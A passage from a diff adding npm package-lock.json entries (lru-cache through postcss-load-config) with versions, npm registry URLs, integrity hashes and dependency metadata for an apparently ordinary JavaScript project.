"sha512-zSMINGVYkdpYSOBmLi0D1Uo7JU9nVdQKrHxC8eYlV+9YKK9WePqAlL7lSlorG/U2Fw1w0hTBmaa/jrQ3UbPHtA==", + "dev": true, + "dependencies": { + "get-func-name": "^2.0.1" + } + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/lz-string": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz", + "integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==", + "dev": true, + "bin": { + "lz-string": "bin/bin.js" + } + }, + "node_modules/magic-string": { + "version": "0.30.5", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.5.tgz", + "integrity": "sha512-7xlpfBaQaP/T6Vh8MO/EqXSW5En6INHEvEXQiuff7Gku0PWjU3uf6w/j9o7O+SpB5fOAkrI5HeoNgwjEO0pFsA==", + "dev": true, + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.4.15" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/magicast": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/magicast/-/magicast-0.3.2.tgz", + "integrity": "sha512-Fjwkl6a0syt9TFN0JSYpOybxiMCkYNEeOTnOTNRbjphirLakznZXAqrXgj/7GG3D1dvETONNwrBfinvAbpunDg==", + "dev": true, + "dependencies": { + "@babel/parser": "^7.23.3", + "@babel/types": "^7.23.3", + "source-map-js": "^1.0.2" + } + }, + "node_modules/make-dir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", + "dev": true, + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/make-dir/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz", + "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==", + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-4.0.0.tgz", + "integrity": "sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/min-indent": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/mlly": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/mlly/-/mlly-1.4.2.tgz", + "integrity": "sha512-i/Ykufi2t1EZ6NaPLdfnZk2AX8cs0d+mTzVKuPfqPKPatxLApaBoxJQ9x1/uckXtrS/U5oisPMDkNs0yQTaBRg==", + "dev": true, + "dependencies": { + "acorn": "^8.10.0", + "pathe": "^1.1.1", + "pkg-types": "^1.0.3", + "ufo": "^1.3.0" + } + }, + "node_modules/mrmime": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mrmime/-/mrmime-1.0.1.tgz", + "integrity": "sha512-hzzEagAgDyoU1Q6yg5uI+AorQgdvMCur3FcKf7NhMKWsaYg+RnbTyHRa/9IlLF9rf455MOCtcqqrQQ83pPP7Uw==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "node_modules/mz": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "dependencies": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "node_modules/nanoid": { + "version": "3.3.7", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.7.tgz", + "integrity": "sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/node-releases": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.14.tgz", + "integrity": "sha512-y10wOWt8yZpqXmOgRo77WaHEmhYQYGNA6y421PKsKYWEK8aW+cqAphborZDhqfyKrbZEN92CN1X2KbafY2s7Yw==", + "dev": true + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-range": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm-run-path": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-5.1.0.tgz", + "integrity": "sha512-sJOdmRGrY2sjNTRMbSvluQqg+8X7ZK61yvzBEIDhz4f8z1TZFYABsqjjCBd/0PUNE9M6QDgHJXQkGUEm7Q+l9Q==", + "dev": true, + "dependencies": { + "path-key": "^4.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm-run-path/node_modules/path-key": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-4.0.0.tgz", + "integrity": "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/nwsapi": { + "version": "2.2.7", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.7.tgz", + "integrity": "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ==", + "dev": true + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/object-inspect": { + "version": "1.13.1", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.1.tgz", + "integrity": "sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-is": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz", + "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.5.tgz", + "integrity": "sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.5", + "define-properties": "^1.2.1", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.entries": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.7.tgz", + "integrity": "sha512-jCBs/0plmPsOnrKAfFQXRG2NFjlhZgjjcBLSmTnEhU8U6vVTsVe8ANeQJCHTl3gSsI4J+0emOoCgoKlmQPMgmA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.fromentries": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.7.tgz", + "integrity": "sha512-UPbPHML6sL8PI/mOqPwsH4G6iyXcCGzLin8KvEPenOZN5lpCNBZZQ+V62vdjB1mQHrmqGQt5/OJzemUA+KJmEA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.hasown": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.3.tgz", + "integrity": "sha512-fFI4VcYpRHvSLXxP7yiZOMAd331cPfd2p7PFDVbgUsYOfCT3tICVqXWngbjr4m49OvsBwUBQ6O2uQoJvy3RexA==", + "dev": true, + "dependencies": { + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.values": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.7.tgz", + "integrity": "sha512-aU6xnDFYT3x17e/f0IiiwlGPTy2jzMySGfUB4fq6z7CV8l85CWHDk5ErhyhpfDHhrOMwGFhSQkhMGHaIotA6Ng==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-6.0.0.tgz", + "integrity": "sha512-1FlR+gjXK7X+AsAHso35MnyN5KqGwJRi/31ft6x0M194ht7S+rWAvd7PHss9xSKMzE0asv1pyIHaJYq+BbacAQ==", + "dev": true, + "dependencies": { + "mimic-fn": "^4.0.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/optionator": { + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.3.tgz", + "integrity": "sha512-JjCoypp+jKn1ttEFExxhetCKeJt9zhAgAve5FXHixTvFDW/5aEktX9bufBKLRRMdU7bNtpLfcGu94B3cdEJgjg==", + "dev": true, + "dependencies": { + "@aashutoshrathi/word-wrap": "^1.2.3", + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse5": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.1.2.tgz", + "integrity": "sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==", + "dev": true, + "dependencies": { + "entities": "^4.4.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true + }, + "node_modules/path-to-regexp": { + "version": "0.1.12", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz", + "integrity": "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==", + "license": "MIT" + }, + "node_modules/pathe": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.1.tgz", + "integrity": "sha512-d+RQGp0MAYTIaDBIMmOfMwz3E+LOZnxx1HZd5R18mmCZY0QBlK0LDZfPc8FW8Ed2DlvsuE6PRjroDY+wg4+j/Q==", + "dev": true + }, + "node_modules/pathval": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz", + "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/picocolors": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.0.tgz", + "integrity": "sha512-TQ92mBOW0l3LeMeyLV6mzy/kWr8lkd/hp3mTg7wYK7zJhuBStmGMBG0BdeDZS/dZx1IukaX6Bk11zcln25o1Aw==", + "dev": true + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pirates": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz", + "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/pkg-types": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-1.0.3.tgz", + "integrity": "sha512-nN7pYi0AQqJnoLPC9eHFQ8AcyaixBUOwvqc5TDnIKCMEE6I0y8P7OKA7fPexsXGCGxQDl/cmrLAp26LhcwxZ4A==", + "dev": true, + "dependencies": { + "jsonc-parser": "^3.2.0", + "mlly": "^1.2.0", + "pathe": "^1.1.0" + } + }, + "node_modules/postcss": { + "version": "8.4.47", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.47.tgz", + "integrity": "sha512-56rxCq7G/XfB4EkXq9Egn5GCqugWvDFjafDOThIdMBsI15iqPqR5r15TfSr1YPYeEI19YeaXMCbY6u88Y76GLQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "nanoid": "^3.3.7", + "picocolors": "^1.1.0", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-import": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-import/node_modules/resolve": { + "version": "1.22.8", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz", + "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==", + "dev": true, + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/postcss-js": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz", + "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==", + "dev": true, + "dependencies": { + "camelcase-css": "^2.0.1" + }, + "engines": { + "node": "^12 || ^14 || >= 16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": "^8.4.21" + } + }, + "node_modules/postcss-load-config": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.2.tgz", + "integrity": "sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "lilconfig": "^3.0.0", + "yaml": "^2.3.4" + }, + "engines": { + "node": ">= 14" + }, + "peerDependencies": { + "postcss": ">=8.0.9", + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "postcss": { + "optional": true + }, + "ts-node": { + "optional": true + } + } + }, + "node_modules/postcss-load-config/node_modules/lilconfig": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.0.0.tgz", + "integrity": 